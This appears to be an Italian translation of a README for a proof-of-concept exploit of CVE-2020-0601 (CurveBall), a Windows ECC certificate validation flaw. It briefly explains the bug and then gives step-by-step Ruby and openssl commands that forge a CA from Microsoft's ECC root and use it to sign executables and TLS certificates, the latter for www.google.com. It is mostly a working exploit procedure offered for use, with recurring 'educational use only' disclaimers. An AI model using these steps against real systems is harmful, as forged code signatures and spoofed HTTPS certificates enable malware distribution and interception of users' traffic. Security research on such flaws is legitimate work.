
CurveBall (CVE-2020-0601) - PoC CVE-2020-0601, o comunemente nota come CurveBall, è una vulnerabilità in cui la firma dei certificati che utilizzano la crittografia a curva ellittica (ECC) non viene verificata correttamente. Gli aggressori possono fornire generatori fatti a mano, bypassando la validazione, l'antivirus e tutte le non-protezioni.
CVE-2020-0601, comunemente chiamata CurveBall, è una vulnerabilità in cui la firma dei certificati che utilizzano la crittografia a curva ellittica (ECC) non viene correttamente verificata.
ECC si basa su parametri diversi. Parametri standardizzati sono utilizzati per molte curve. Tuttavia, Microsoft non ha controllato tutti questi parametri, come i geni che sono... Il parametro G (il generatore) NON è stato controllato, e un attaccante può quindi fornire un generatore personalizzato, così, quando Microsoft cerca di convalidare il certificato rispetto a una CA attendibile, cercherà solo chiavi pubbliche corrispondenti, e poi booooom, userà il generatore del certificato.
La NSA spiega chiaramente l'impatto devastante di questa vulnerabilità e altro qui. Allacciatevi e mettetevi al lavoro!
MicrosoftECCProductRootCertificateAuthority.cer è per impostazione predefinita un'autorità di certificazione (CA) radice attendibile che utilizza ECC su Windows 10. Qualsiasi cosa firmata con questo certificato sarà quindi automaticamente attendibile.
Sia detto, loro stanno sempre guardando... quindi Per favore usalo solo per scopi educativi e di ricerca.
Requisiti minimi
openssl 1.1.0
ruby 2.4.0
Se sei interessato ai dettagli matematici della vulnerabilità, leggi di più qui.
Per falsificare il certificato, imposta i seguenti parametri:
d' = 1
G' = Q
In modo che Q = Q' = d'G'.
Crea un certificato con la stessa chiave pubblica e gli stessi parametri di una CA attendibile. Questo sarà utilizzato come nostra CA falsificata. Imposta il generatore su un valore di cui conosci la chiave privata. Puoi facilmente impostare il generatore sulla chiave pubblica e avere una chiave privata impostata su 1, poiché Q = dG.
Successivamente, crea una richiesta di firma del certificato con le estensioni che desideri utilizzare, ad esempio firma del codice o autenticazione del server.
Firma questa richiesta di certificato con la tua CA falsificata e la chiave CA, e aggiungi le estensioni di utilizzo.
Raggruppa la richiesta di certificato firmata (ora un certificato regolare) con la CA falsificata, e ottieni un certificato firmato e attendibile.
Quando Windows controlla se il certificato è attendibile, vedrà che è stato firmato dalla nostra CA falsificata. Poi guarda la chiave pubblica della CA falsificata per confrontarla con le CA attendibili. Quindi verifica semplicemente la firma della nostra CA falsificata con il generatore della CA falsificata - questo è il problema.
Se scegli di aprire il tuo certificato appena firmato e attendibile in Windows, non lo riconoscerà come attendibile, poiché non è stato collegato a nulla, quindi non utilizzerà la CA falsificata. Il certificato deve sempre presentarsi insieme alla CA falsificata.
Per favore usalo solo per scopi educativi e di ricerca.
Estrai la chiave pubblica dalla CA e modificala secondo la vulnerabilità:
ruby main.rb ./MicrosoftECCProductRootCertificateAuthority.cer
Genera un nuovo certificato x509 basato su questa chiave. Questa sarà la nostra CA falsificata.
openssl req -new -x509 -key spoofed_ca.key -out spoofed_ca.crt
Genera una nuova chiave. Questa chiave può essere di qualsiasi tipo tu voglia. Verrà utilizzata per creare un certificato di firma del codice, che firmeremo con la nostra CA.
openssl ecparam -name secp384r1 -genkey -noout -out cert.key
Successivamente, crea una nuova richiesta di firma del certificato (CSR). Questa richiesta viene spesso inviata a CA attendibili, ma poiché ne abbiamo una falsificata, possiamo firmarla da soli.
openssl req -new -key cert.key -out cert.csr -config openssl_cs.conf -reqexts v3_cs
Firma la tua nuova CSR con la nostra CA falsificata e la chiave CA. Questo certificato scadrà nel 2047, mentre la vera CA attendibile Microsoft scadrà nel 2043.
openssl x509 -req -in cert.csr -CA spoofed_ca.crt -CAkey spoofed_ca.key -CAcreateserial -out cert.crt -days 10000 -extfile openssl_cs.conf -extensions v3_cs
L'unica cosa rimasta è impacchettare il certificato, la sua chiave e la CA falsificata in un file PKCS12 per firmare eseguibili.
openssl pkcs12 -export -in cert.crt -inkey cert.key -certfile spoofed_ca.crt -name "Code Signing" -out cert.p12
Firma il tuo eseguibile con il file PKCS12.
osslsigncode sign -pkcs12 cert.p12 -n "Signed by ollypwn" -in 7z1900-x64.exe -out 7z1900-x64_signed.exe
Per favore usalo solo per scopi educativi e di ricerca.
Estrai la chiave pubblica dalla CA e modificala secondo la vulnerabilità:
ruby main.rb ./MicrosoftECCProductRootCertificateAuthority.cer
Genera un nuovo certificato x509 basato su questa chiave. Questa sarà la nostra CA falsificata.
openssl req -new -x509 -key spoofed_ca.key -out spoofed_ca.crt
Genera una nuova chiave. Questa chiave può essere di qualsiasi tipo tu voglia. Verrà utilizzata per creare un certificato SSL, che firmeremo con la nostra CA.
openssl ecparam -name secp384r1 -genkey -noout -out cert.key
Successivamente, crea una nuova richiesta di firma del certificato (CSR). Questa richiesta viene spesso inviata a CA attendibili, ma poiché ne abbiamo una falsificata, possiamo firmarla da soli.
Se desideri cambiare il nome di dominio, modifica CN = www.google.com in CN = www.example.com all'interno di openssl_tls.conf.
openssl req -new -key cert.key -out cert.csr -config openssl_tls.conf -reqexts v3_tls
Firma la tua nuova CSR con la nostra CA falsificata e la chiave CA. Questo certificato scadrà nel 2047, mentre la vera CA attendibile Microsoft scadrà nel 2043.
openssl x509 -req -in cert.csr -CA spoofed_ca.crt -CAkey spoofed_ca.key -CAcreateserial -out cert.crt -days 10000 -extfile openssl_tls.conf -extensions v3_tls
Ora puoi usare cert.crt, cert.key e spoofed_ca.crt per servire i tuoi contenuti. Ancora una volta, ricordati di aggiungere spoofed_ca.crt come catena di certificati nella configurazione HTTPS del tuo server.
Vedi l'esempio di utilizzo in [https://github.com/IIICTECH/-CVE-2020-0601---ECC-/blob/master/tls/index.js).
Per favore usalo solo per scopi educativi e di ricerca.